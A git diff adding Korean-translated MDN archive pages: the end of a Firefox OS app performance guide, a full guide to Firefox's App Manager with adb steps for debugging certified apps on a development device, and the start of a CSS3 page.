+<h3 id="프레임레이트">프레임레이트</h3>
+<p>The first important consideration for achieving high framerate is to select the right tool for the job. Mostly static content that's scrolled and infrequently animated is usually best implemented with HTML/CSS. Highly dynamic content like games that need tight control over rendering, and don't need theming, is often best implemented with canvas.</p>
+<p>For content drawn using canvas, it's up to the developer to hit framerate targets: they have direct control over what's drawn.</p>
+<p>For HTML/CSS content, the path to high framerate is to use the right primitives. Firefox OS is highly optimized to scroll arbitrary content; this is usually not a concern. But often trading some generality and quality for speed, such as using a static rendering instead of a CSS radial gradient, can push scrolling framerate over a target. CSS media queries allow these compromises to be restricted only to devices that need them.</p>
+<p>Many applications use transitions or animations through "pages", or "panels". For example, the user taps a "Settings" button to transition into an application configuration screen, or a settings menu "pops up". Firefox OS is highly optimized to transition and animate scenes that</p>
+<ul>
+ <li>Use pages/panels that are approximately the size of the device screen or smaller</li>
+ <li>Transition/animate the CSS transform and opacity properties</li>
+</ul>
+<p>Transitions and animations that adhere to these guidelines can be offloaded to the system compositor and run maximally efficiently.</p>
+<p>To help diagnose low framerates, see the section below.</p>
+<h3 id="메모리와_전원_사용량">메모리와 전원 사용량</h3>
+<p>Improving memory and power usage is a similar problem to speeding up startup: don't do unnecessary work; use efficient data structures; lazily load uncommonly-used UI resources; ensure resources like images are optimized well.</p>
+<p>Modern CPUs can enter a lower-power mode when mostly idle. Applications that constantly fire timers or keep unnecessary animations running prevent CPUs from entering low-power mode. Power-efficient applications don't do that.</p>
+<p>When applications are sent to the background, a visibilitychange event is fired on their documents. This event is a developer's friend; applications should listen for it. As mentioned above, Firefox OS tries to keep as many applications running simultaneously as it can, but does have to discard applications sometimes. Applications that drop as many loaded resources as possible when sent to the background will use less memory and be less likely to be discarded. This in turn means they will "start up" faster (by virtue of already being running) and have better UPP.</p>
+<p>Similarly, applications should prepare for the case when they
+ <i>
+  are</i>
+ discarded. To improve user-perceived memory usage, that is to say, making the user feel that more of their state is being preserved, applications should save the state needed to return the current view if discarded. If the user is editing an entry, for example, the state of the edit should be saved when entering the background.</p>
+<h2 id="성능을_측정하고_문제를_분석하기">성능을 측정하고 문제를 분석하기</h2>
+<p>성능을 측정하고 문제를 분석하기 전에, 이걸 기억하세요:</p>
+<div class="geckoVersionNote">
+ <blockquote>
+   </blockquote>
+ <blockquote>
+  절대. 기기. 위에서. 테스트. 하세요.</blockquote>
+ <blockquote>
+   </blockquote>
+</div>
+<p>A great strength of the web platform is that the same code written for "desktop" web browsers runs on Firefox OS on mobile devices. Developers should use this to improve productivity: develop on "desktops", in comfortable and productive environments, as much as possible.</p>
+<p>But when it comes time to test performance, mobile devices must be used. Modern desktops can be more than 100x more powerful than mobile hardware. The lower-end the mobile hardware tested on, the better.</p>
+<p>With that caveat, the sections below describe tools and processes for measuring and diagnosing performance issues.</p>
+<h3 id="성능을_측정하기">성능을 측정하기</h3>
+<p>Firefox OS comes built-in with some convenient and easy-to-use tools that, when used properly, can be used to quickly measure performance. The first tool is the "framerate monitor". This can be enabled in the Firefox OS Settings application.</p>
+<p>The framerate monitor continuously reports two numbers. The values reported are an average of recent results within a sliding window, meant to be "instantaneous" but fairly accurate. As such, both numbers are "guesses". The left number is the "composition rate": the estimated number of times per second Firefox OS is drawing frames to the hardware framebuffer. This is an estimate of the user-perceived framerate, and only an estimate. For example, the counter may report 60 compositions per second even if the screen is not changing. In that case the user-perceived framerate would be 0. However, when used with this caveat in mind and corroborated with other measurements, the monitor can be a useful and simple tool.</p>
+<p><img alt="Screenshot of fps counter" src="http://people.mozilla.com/~cjones/mdn/enable-fps-counter.png" style="width: 320px; height: 480px;"></p>
+<p>The rightmost number is the "layer transaction rate", the estimated number of times per second processes are repainting and notifying the compositor. This number is mostly useful for Gecko platform engineers, but it should be less than or equal to the composition rate number on the left.</p>
+<p>Firefox OS also has a tool that can help measure startup time, specifically the "first paint" time described above. This "time-to-load" tool can be enabled using the Settings application. The value shown by the tool is the elapsed time between when the most recent application was launched, and an estimate of the first time that application painted its UI. This number only approximates the real "first paint" time, and in particular underestimates it. However, lowering this number almost always correlates to improvements in real startup time, so it can be useful to quickly measure optimization ideas.</p>
+<p><img alt="Screenshot of enabling ttl" src="http://people.mozilla.com/~cjones/mdn/enable-ttl.png" style="width: 320px; height: 480px;"></p>
+<p>For accurately measuring both startup times and responsiveness, a high-speed camera is indispensable. "High-speed" means that the camera can record 120 frames per second or above. The higher the capture rate, the more accurate the measurements that can be made. This may sound like exotic technology, but consumer models can be purchased for a few hundred US dollars.</p>
+<p><a href="http://people.mozilla.com/~cjones/mdn/hs-example.webm" title="http://people.mozilla.com/~cjones/mdn/hs-example.webm">Link to example video of high-speed capture that I can't upload</a></p>
+<p>The measuring process with these cameras is simple: record the action to be studied, and then play back the capture and count the number of frames that elapse between the input (say, a tap gesture) and the desired output (pixels changing in some way). Divide the number of counted frames by the capture rate, and the resulting number is the measured duration.</p>
+<p>Mozilla built an automated tool called Eideticker which operates on the same principle as described above. The difference is that Eideticker uses synthetic user input events and HDMI capture to measure durations. The code is available and can be used with any device with an HDMI output.</p>
+<p>Measuring power can be more difficult. It's possible to jury-rig measurement apparatus with a soldering iron, but a good approximation of power usage can be gathered by observing CPU load. Simple command-line tools like |top| allow monitoring CPU usage continuously.</p>
+<p>In general, when measuring performance, don't be proud! "Primitive technology" like a stopwatch or logging, when used effectively, can provide eminently usable data.</p>
+<h3 id="성능_문제를_분석하기">성능 문제를 분석하기</h3>
+<p>If performance measurements show an application is below its targets, how can the underlying problem be diagnosed?</p>
+<p>The first step of any performance work is to create a reproducible workload and reproducible measurement steps. Then gather baseline measurements, before any code changes are made. It seems obvious, but this is required to determine whether code changes actually improve performance! The measurement process selected isn't too important; what's important is that the process be (i) reproducible; (ii) realistic, in that it measures what users will perceive as closely as possible; (iii) precise as possible; (iv) accurate as possible. Even stopwatch timings can fit this spec.</p>
+<p>Firefox OS includes two built-in tools for quickly diagnosing some performance issues. The first is a render mode called "paint flashing". In this mode, every time a region of the screen is painted by Gecko, Gecko blits a random translucent color over the painted region. Ideally, only parts of the screen that visually change between frames will "flash" with a new color. But sometimes more area than is needed is repainted, causing large areas to "flash". This symptom may indicate that application code is forcing too much of its scene to update. It may also indicate bugs in Gecko itself.</p>
+<p><img alt="Enable paint flashing" src="http://people.mozilla.com/~cjones/mdn/enable-paint-flashing.png" style="width: 320px; height: 480px;"></p>
+<p><img alt="Paint flashing after scrolling down from previous image" src="http://people.mozilla.com/~cjones/mdn/enable-paint-flashing-scroll-down.png" style="width: 320px; height: 480px;"></p>
+<p>The second tool is called "animation logging", and can also be enabled in Settings. This tool tries to help developers understand why animations are not offloaded to the compositor to be run efficiently as possible. It reports "bugs" like trying to animate elements that are too large, or trying to animate CSS properties that can't be offloaded.</p>
+<p><img alt="Enable animation logging" src="http://people.mozilla.com/~cjones/mdn/enable-log-animations.png" style="width: 320px; height: 480px;"></p>
+<p><img alt="Start of animation not offloaded" src="http://people.mozilla.com/~cjones/mdn/enable-log-animations-1.png" style="width: 320px; height: 480px;"></p>
+<pre>I/Gecko   ( 5644): Performance warning: Async animation disabled because frame size (1280, 410) is bigger than the viewport (360, 518) [div with id 'views']
+</pre>
+<p><img alt="End of animation not offloaded" src="http://people.mozilla.com/~cjones/mdn/enable-log-animations-2.png" style="width: 320px; height: 480px;"></p>
+<div class="note">
+ <p>A common pitfall is to animate left/top/right/bottom properties instead of using CSS transforms to achieve the same effect. For a variety of reasons, the semantics of transforms make them easier to offload, but left/top/right/bottom are much more difficult. Animation logging will report this.</p>
+</div>
+<p>These tools can help quickly assess a performance problem, but they often show only what developers should be "looking for": hints at deeper problems. When more information is required, the Gecko Profiler can be used. A full description of the profiler is beyond the scope of this document; see <a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler" title="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">[here]</a>. Briefly, the profiler shows mixed JavaScript/C++ "samples" of what all Firefox OS processes are doing over a rolling time interval. Developers can use these profiles to see what their code and Gecko itself are doing. Warnings are built into the profiler UI for many common pitfalls like excessive garbage collection (caused by creating too many JS objects), and forcing "synchronous reflows". Sync reflows are bad because Gecko is optimized to do expensive work like reflows in big batches, when needed. Forced reflows throw off this "schedule", and can cause more work to be done than necessary.</p>
+<p>Similarly, advanced users may wish to use a whole-system profiler like the linux |perf| tool. This is mostly useful for platform engineers, though.</p>
+<p>As with measuring performance, don't be proud about tools used to diagnose it! A few well-placed Date.now() calls with logging can often provide a quick and accurate answer.</p>
+<p>Finally, the only way to keep improving performance is to not regress it. The only way to not regress performance is to test it, preferably with automated tests. A full discussion of that topic is beyond the scope of this document, though.</p>
+<h2 id="파리_Firefox_OS_성능_최적화_워크샵_3월_4_-_8일_2013">파리 Firefox OS 성능 &amp; 최적화 워크샵, 3월 4 - 8일, 2013</h2>
+<p>To illustrate these concepts here are some videos and slides from the Paris Workshop dedicated to performances and optimizations.</p>
+<p>파트 1: Technical basics and more (Gabriele &amp; Thomas)</p>
+<ul>
+ <li>비디오: <a href="https://docs.google.com/file/d/0ByB4v6HDNT-ZdHAtam5IdWpWWkE/edit?usp=sharing" title="https://docs.google.com/file/d/0ByB4v6HDNT-ZdHAtam5IdWpWWkE/edit?usp=sharing">Technical considerations</a></li>
+ <li>슬라이드: <a href="https://docs.google.com/file/d/0ByB4v6HDNT-ZNGRxS3A1X21tMjQ/edit?usp=sharing" title="https://docs.google.com/file/d/0ByB4v6HDNT-ZNGRxS3A1X21tMjQ/edit?usp=sharing">Presentation</a></li>
+</ul>
+<p>파트 2: <a href="https://docs.google.com/file/d/0ByB4v6HDNT-ZWFNkRGtyTHd5TUU/edit?usp=sharing" title="https://docs.google.com/file/d/0ByB4v6HDNT-ZWFNkRGtyTHd5TUU/edit?usp=sharing">Performances in a UX point of view</a> (Josh)</p>
+<p>파트 3: <a href="https://docs.google.com/file/d/0ByB4v6HDNT-ZdUVadVBmeDlXaW8/edit?usp=sharing" title="https://docs.google.com/file/d/0ByB4v6HDNT-ZdUVadVBmeDlXaW8/edit?usp=sharing">Performances measurement &amp; automation</a> (Julien &amp; Anthony)</p>
diff --git a/files/ko/archive/b2g_os/앱_관리자_사용하기/index.html b/files/ko/archive/b2g_os/앱_관리자_사용하기/index.html
new file mode 100644
index 0000000000..392a32866e
--- /dev/null
+++ b/files/ko/archive/b2g_os/앱_관리자_사용하기/index.html
@@ -0,0 +1,247 @@
+---
+title: 앱 관리자 사용하기
+slug: Archive/B2G_OS/앱_관리자_사용하기
+translation_of: Archive/B2G_OS/Using_the_App_Manager
+---
+<div class="summary">
+<p>앱 관리자는 Firefox 데스크톱에서 제공하는 새로운 도구로, Firefox OS phone과 Firefox OS 시뮬레이터에서 HTML5 웹앱을 테스트, 배치, 디버그할 수 있도록 돕는 여러 도구들을 브라우저에서 직접 제공합니다.</p>
+</div>
+
+<p style="text-align: center;"></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/z1Bxg1UJVf0?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<p>앱 관리자는 다음과 같이 구성되어 있습니다:</p>
+
+<ul>
+ <li><em><a href="#Apps_panel">앱 패널</a></em>:<em> </em>로컬 앱(소스코드가 자신의 컴퓨터에 위치)과 외부에서 호스팅되는 앱을 관리합니다. 이들을 패키징하고 장치나 시뮬레이터에 설치할 수 있으며 툴박스를 사용해 디버그도 할 수 있습니다.</li>
+ <li><em><a href="#Device_panel">장치 패널</a></em>: 연결된 장치의 Firefox OS버전, 장치 API 사용에 필요한 퍼미션, 설치된 앱들에 대한 정보를 표시합니다.</li>
+ <li><em><a href="/en-US/docs/Tools_Toolbox">툴박스</a>: </em> 앱 패널을 통해 실행중인 앱에 연결하고 디버깅 동작을 수행할 수 있는 개발도구(웹 콘솔, 인스펙터, 디버거 등)들의 세트입니다.</li>
+</ul>
+
+<h2 id="빠른_설정"><a name="Configuring_device">빠른 설정:</a></h2>
+
+<p>이 섹션에서는 가능한한 빠르게 준비하는 법을 다룹니다. 보다 자세한 내용은 <a href="#device_and_system_config">장치 및 시스템 설정</a> 섹션으로 넘어가십시오. 그리고 문제가 있을 경우 <a href="#Troubleshooting">Troubleshooting</a> 섹션을 읽어보세요.</p>
+
+<ol>
+ <li>Firefox 데스크톱 26 이상을 설치했는지 확인하세요.</li>
+ <li>앱 관리자를 엽니다. (URL바에 <code>about:app-manager</code>을 입력합니다)</li>
+ <li>실제 장치가 없는 경우:
+  <ol>
+   <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Firefox OS 시뮬레이터를 설치합니다.</a></li>
+   <li>앱 관리자의 아래쪽 툴바에서 <em>시뮬레이터 시작</em>을 클릭하고 뒤이어 표시되는 설치된 시뮬레이터의 이름을 클릭합니다.</li>
+  </ol>
+ </li>
+ <li>실제 장치가 있는 경우:
+  <ol>
+   <li>장치가 Firefox OS 1.2 이상을 구동중인지 확인하세요.</li>
+   <li>Windows의 경우, 폰 제조사에서 제공하는 드라이버의 설치를 확인하세요. </li>
+   <li>장치의 설정에서 화면 잠금을 비활성화하고 (<code>Settings &gt; <code>Screen Lock</code></code>) 원격 디버깅을 활성화합니다(<code>Settings &gt; Device information &gt; More information &gt; Developer</code>).</li>
+   <li>Firefox Desktop에 <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">ADB Helper</a> 추가기능을 설치합니다.</li>
+   <li>USB케이블로 장치와 컴퓨터를 연결하세요.</li>
+   <li>앱 관리자 하단에 장치의 이름이 나타나면 클릭합니다.</li>
+  </ol>
+ </li>
+ <li>하단 바에 "xxx에 연결됨"이 표시됩니다.</li>
+ <li>앱 패널을 클릭해 앱을 추가합니다(패키지 또는 hosted).</li>
+ <li>The <em>Refresh</em> button validates your app and installs it on the Simulator/Device</li>
+ <li>The <em>Debug</em> button connects the developer tools to the running app</li>
+ <li><strong>문제가 발생한다면 <a href="#Troubleshooting">Troubleshooting</a>섹션을 참조하세요.</strong></li>
+</ol>
+
+<h2 id="장치_및_시스템_설정"><a name="device_and_system_config"></a>장치 및 시스템 설정</h2>
+
+<p>앱 관리자를 사용할 때 가장 처음 해야할 일은 여러분의 시스템과 폰이 제대로 설정되었는지 확인하는 것입니다. 이 섹션에서 필요한 단계들을 알아보겠습니다.</p>
+
+<h3 id="Firefox_1.2_이상_필요">Firefox 1.2 이상 필요</h3>
+
+<p>장치가 Firefox OS 1.2/Boot2Gecko 1.2 또는 그 이상을 구동중인지 확인하세요. 장치의 Firefox OS 버전을 확인하려면 <code>Settings &gt; Device Information &gt; Software로 이동하십시오.</code></p>
+
+<p>If you don't have a high enough version installed, depending on what phone you have you will need to either install an available nightly build of Firefox 1.2+, or configure and build it yourself from source.</p>
+
+<p>Builds available:</p>
+
+<p><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak builds</a> (to find out more about using these, read <a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Updating and Tweaking your Firefox OS Developer Preview phone/Geeksphone</a>)</p>
+
+<p>More to follow</p>
+
+<p>To build your own Firefox OS 1.2+ distribution, follow the instructions located at <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a>, starting with <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Firefox OS build prerequisites</a>.</p>
+
+<h3 id="원격_디버깅(Remote_debugging)">원격 디버깅(Remote debugging)</h3>
+
+<p>Next, you need to enable remote debugging in Firefox OS. To do so, go to <code>Settings &gt; Device information &gt; More information &gt; Developer</code> and check the Remote Debugging checkbox.</p>
+
+<h3 id="Adb_Helper_Add-on" name="Adb_Helper_Add-on">ADB or ADB helper</h3>
+
+<p>The process uses the Android Debug Bridge (ADB) to handle the device-computer connection and communication. There are two options for running ADB:</p>
+
+<p>Let Firefox handle ADB (recommended). <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Install the ADB Helper add-on</a>, which makes the process easier. With this installed, there's no need to install the ADB, and no need to type the <code>adb forward</code> command: everything is handled by the add-on.</p>
+
+<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;" title="https://addons.mozilla.org">ADB Helper 확장기능 다운로드</a></p>
+
+<p>Use ADB manually. You need to have it installed on your computer - download and install <code>adb</code> (see the <a href="http://developer.android.com/sdk/index.html">Get the Android SDK</a>) as part of the Android SDK package. You'll need to enable port forwarding by entering the following command into your terminal:Note that you'll need to do this every time the phone is restarted or unplugged then re-plugged.</p>
+
+<div class="note">
+<p>Note: ADB Helper 확장기능을 설치했다면 이 명령을 실행할 필요가 없습니다.</p>
+</div>
+
+<h2 id="Connecting_your_device_to_the_App_Manager">Connecting your device to the App Manager</h2>
+
+<p>With all your configuration done, it's now time to plug your device into your computer and start the App Manager:</p>
+
+<ol>
+ <li>Plug the device into your computer via USB.</li>
+ <li>Disable Screen lock on your device by going to <code>Settings &gt; Screen Lock</code> and unchecking the <code>Lock Screen</code> checkbox. This is a good idea because when the screen gets locked, the phone connection gets lost, meaning it is no longer available for debugging.</li>
+ <li>Start the App Manager — In Firefox Desktop select the <code>Tools &gt; Web Developer &gt; App Manager</code> menu option, or type <code>about:app-manager</code> in the URL bar.</li>
+ <li>At the bottom of the App Manager tab, you will see a connection status bar (see screenshot below). You should be able to connect your device by clicking the "Connect to localhost:6000" button.</li>
+ <li>If this works successfully, a prompt should appear on your device: "An incoming request to permit remote debugging connection was detected. Allow connection?". Tap the OK button (You may also have to press the power button on the phone so you can see the prompt.) The connection status bar should update to say "Connected to B2G", with a Disconnect button available to press if you want to cancel the connection.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6263/connection-status.png" style="width: 600px; height: 30px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p>Note that the other controls in the connection status bar allow you to connect a simulator to the App Manager, which we cover in the next section, below, and change the port that the connection happens on. If you change the port, you'll also need to enable port forwarding for this port as well, as instructed in the <a href="#Enable_port_forwarding">Enable port forwarding</a> section, above.</p>
+</div>
+
+<h2 id="Firefox_OS_시뮬레이터_추가기능_사용하기"><a name="Simulator">Firefox OS 시뮬레이터 추가기능 사용하기</a></h2>
+
+<p>If you haven't got a real device available to use with App Manager, you can still try it out using a <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> Add-on. To start off, install the appropriate simulator for your operating system:</p>
+
+<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">시뮬레이터 설치하기</a></p>
+
+<div class="note">
+<p>앞으로 더 많은 것들이 등장하겠지만, 지금은 Firefox OS 1.2 시뮬레이터만 이용할 수 있습니다.</p>
+</div>
+
+<p>Once you've installed the simulator, you need to go to the connection status bar at the bottom of the App Manager tab, and click the "Start simulator" button. Three buttons will appear:</p>
+
+<ul>
+ <li>"Firefox OS 1.2" ... etc (or something similar): the leftmost button contains the name of the simulator version you have installed. Click it to start the connection to the simulator.</li>
+ <li>"Add": the middle button navigates to the simulator install links in this article, so you can add more Simulators (Firefox OS 1.2, Firefox OS 1.3, ...).</li>
+ <li>"Cancel": the right hand button cancels the connection.</li>
+</ul>
+
+<h2 id="앱_패널"><a name="Apps_panel">앱 패널</a></h2>
+
+<p>Now everything is working, let's review the functionality available inside the App Manager, starting with the Apps panel. From here, you can import an existing app to push onto your device and debug:</p>
+
+<ul>
+ <li>To install a local app, click on the plus next to the "Add Packaged App" label and use the resulting file chooser dialog to select the directory your app is contained inside.</li>
+ <li>To install an externally hosted app, enter the absolute URL of the app's manifest file into the text field inside the "Add Hosted App" box, then press the plus button.</li>
+</ul>
+
+<p>Information about your app should appear on the right hand side of the window, as seen below:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6261/apps-panel.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Manifest_편집기">Manifest 편집기</h3>
+
+<p>From Firefox 28 onwards, the Apps Panel includes an editor for the app manifest:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6613/apps-panel-fx-28.png" style="width: 600px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Debugging">Debugging</h3>
+
+<p>Clicking on <em>"Update"</em> will update (install) the app on the device. Clicking on <em>"debug"</em> will connect a toolbox to the app, allowing you to debug its code directly:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6265/debug.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p>Note: You'll enjoy playing around with the toolbox — try altering the DOM, CSS etc. and you'll see the updates reflected on the device in realtime. Such updates will be saved on the installed app code; you'll see them next time you open the app on the device.</p>
+</div>
+
+<p>Before Firefox 28, the tools are launched in a separate window. From Firefox 28 onwards, the tools are launched in a separate tab in the App Manager itself, alongside the Apps and Device tabs. The tab is given your app's icon so it's easy to find:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6615/toolbox-fx-28.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Errors">Errors</h3>
+
+<p>If an app was not added successfully — for example if the URL was incorrect, or you selected a packaged app folder — an entry will be added to the page for this app, but this will include error information.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6259/apps-error.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<p>You can also delete an app from this view, by hovering over the App name/description on the left of the window, and pressing the "X" button that appears in each case. This however doesn't remove the app from the device. To do that you need to manually remove the app using the device itself.</p>
+
+<h2 id="Device_panel_2"><a name="Device_panel">Device panel</a></h2>
+
+<p>The <em>Device</em> tab displays information about the connected device. From the <em>"</em>Installed Apps<em>"</em> window, apps on the device can be started and debugged.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6267/device-tab.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p>Note: Certified Apps are not listed by default. <a href="#Debugging_Certified_Apps">See how to debug certified apps</a>.</p>
+</div>
+
+<p><a name="permissions"></a>The "Permissions" window shows the required priviledges for different <a href="/en-US/docs/WebAPI">Web APIs</a> on the current device:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6269/permissions.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<p>Finally, you can take a screenshot of the current device display by clicking the "Screenshot" button. The screenshot appears in a new tab on Firefox, and from there you can save or discard it as you wish.</p>
+
+<h2 id="Debugging_Certified_Apps_2"><a name="Debugging_Certified_Apps">Debugging Certified Apps</a></h2>
+
+<p>Currently only devices running a development build of Firefox OS 1.2 are capable of debugging certified apps. If you have a development build, you can enable certified app debugging by changing the pref <code>devtools.debugger.forbid-certified-apps</code> to <code>false</code> in your profile. To do this, follow the steps below:</p>
+
+<ol>
+ <li>
+  <p>On your computer, enter the following command in Terminal/console to enter your device's filesystem via the shell:</p>
+
+  <pre class="brush: bash">adb shell</pre>
+
+  <p>Your prompt should change to <code>root@android</code>.</p>
+ </li>
+ <li>
+  <p>Next, stop B2G running using the following command:</p>
+
+  <pre class="brush: bash">stop b2g</pre>
+ </li>
+ <li>
+  <p>Navigate to the following directory:</p>
+
+  <pre>cd /data/b2g/mozilla/*.default/</pre>
+ </li>
+ <li>
+  <p>Here, update the prefs.js file with the following line:</p>
+
+  <pre class="brush: js">echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' &gt;&gt; prefs.js</pre>
+ </li>
+ <li>
+  <p>After you've finished editing and saving the file, start B2G again using the following command:</p>
+
+  <pre class="brush: bash">start b2g</pre>
+ </li>
+ <li>
+  <p>Exit the android filesystem using the <code>exit</code> command; this will return you to your normal terminal prompt.</p>
+ </li>
+ <li>
+  <p>Next, reconnect to the App Manager and you should see certified apps appear for debugging.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p>Note: If you want to add this preference to your Gaia build you can run <code>make DEVICE_DEBUG=1 reset-gaia</code>.</p>
+</div>
+
+<h2 id="Troubleshooting_2"><a name="Troubleshooting">Troubleshooting</a></h2>
+
+<p id="My_device_is_not_recognized">장치가 인식되지 않을 경우:</p>
+
+<ul>
+ <li>Read the <a href="#Configuring_device">Device and system configuration</a> section thoroughly, and make sure all the steps are followed:</li>
+ <li>장치가 최소 Firefox OS 1.2를 구동중인가요?</li>
+ <li>Don't see all the apps? Do you need to enable <a href="#Debugging_Certified_Apps">Certified Apps debugging</a>?</li>
+ <li>폰의 settings에서 "원격 디버깅"을 활성화했습니까?</li>
+ <li><a href="#Adb_Helper_Add-on">ADB Helper 확장기능</a>을 사용중이라면:
+  <ul>
+   <li><code>adb forward</code> 명령을 성공적으로 실행했습니까?</li>
+  </ul>
+ </li>
+ <li>If you are using the <a href="#Adb_Helper_Add-on">ADB Helper add-on</a> and your device is not listed in the bottom toolbar:
+  <ul>
+   <li>If you use Linux, <a href="http://developer.android.com/tools/device.html#setting-up">make sure to setup udev correctly</a></li>
+   <li>If you use Windows, <a href="http://developer.android.com/tools/device.html#setting-up">make sure to install the appropriate drivers</a></li>
+  </ul>
+ </li>
+ <li>Linux상의 장치이름 대신 "???????"가 보이나요? 퍼미션에 문제가 있습니다.  <a href="http://developer.android.com/tools/device.html#setting-up">udev 설정을 확인해 보십시오</a>.</li>
+ <li>폰의 화면잠금이 해제되었습니까?</li>
+</ul>
+
+<p>Can't connect your device to the App Manager or start the simulator? <a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">Let us know</a> or <a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;attach_text=&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_b2g=---&amp;cf_crash_signature=&amp;cf_status_b2g18=---&amp;cf_status_b2g_1_1_hd=---&amp;cf_status_b2g_1_2=---&amp;cf_status_firefox24=---&amp;cf_status_firefox25=---&amp;cf_status_firefox26=---&amp;cf_status_firefox27=---&amp;cf_status_firefox_esr17=---&amp;cf_status_firefox_esr24=---&amp;cf_tracking_b2g18=---&amp;cf_tracking_firefox24=---&amp;cf_tracking_firefox25=---&amp;cf_tracking_firefox26=---&amp;cf_tracking_firefox27=---&amp;cf_tracking_firefox_esr17=---&amp;cf_tracking_firefox_esr24=---&amp;cf_tracking_firefox_relnote=---&amp;cf_tracking_relnote_b2g=---&amp;comment=&amp;component=Developer%20Tools%3A%20App%20Manager&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-203=X&amp;flag_type-37=X&amp;flag_type-41=X&amp;flag_type-5=X&amp;flag_type-607=X&amp;flag_type-720=X&amp;flag_type-721=X&amp;flag_type-737=X&amp;flag_type-748=X&amp;flag_type-781=X&amp;flag_type-787=X&amp;flag_type-791=X&amp;flag_type-799=X&amp;flag_type-800=X&amp;flag_type-802=X&amp;flag_type-803=X&amp;flag_type-809=X&amp;flag_type-825=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Firefox&amp;qa_contact=developer.tools%40firefox.bugs&amp;rep_platform=x86&amp;requestee_type-203=&amp;requestee_type-41=&amp;requestee_type-5=&amp;requestee_type-607=&amp;requestee_type-748=&amp;requestee_type-781=&amp;requestee_type-787=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk">file a bug</a>.</p>
diff --git a/files/ko/archive/css3/index.html b/files/ko/archive/css3/index.html
new file mode 100644
index 0000000000..b884c02e7c
--- /dev/null
+++ b/files/ko/archive/css3/index.html
@@ -0,0 +1,582 @@
+---
+title: CSS3
+slug: Archive/CSS3
+translation_of: Archive/CSS3
+---
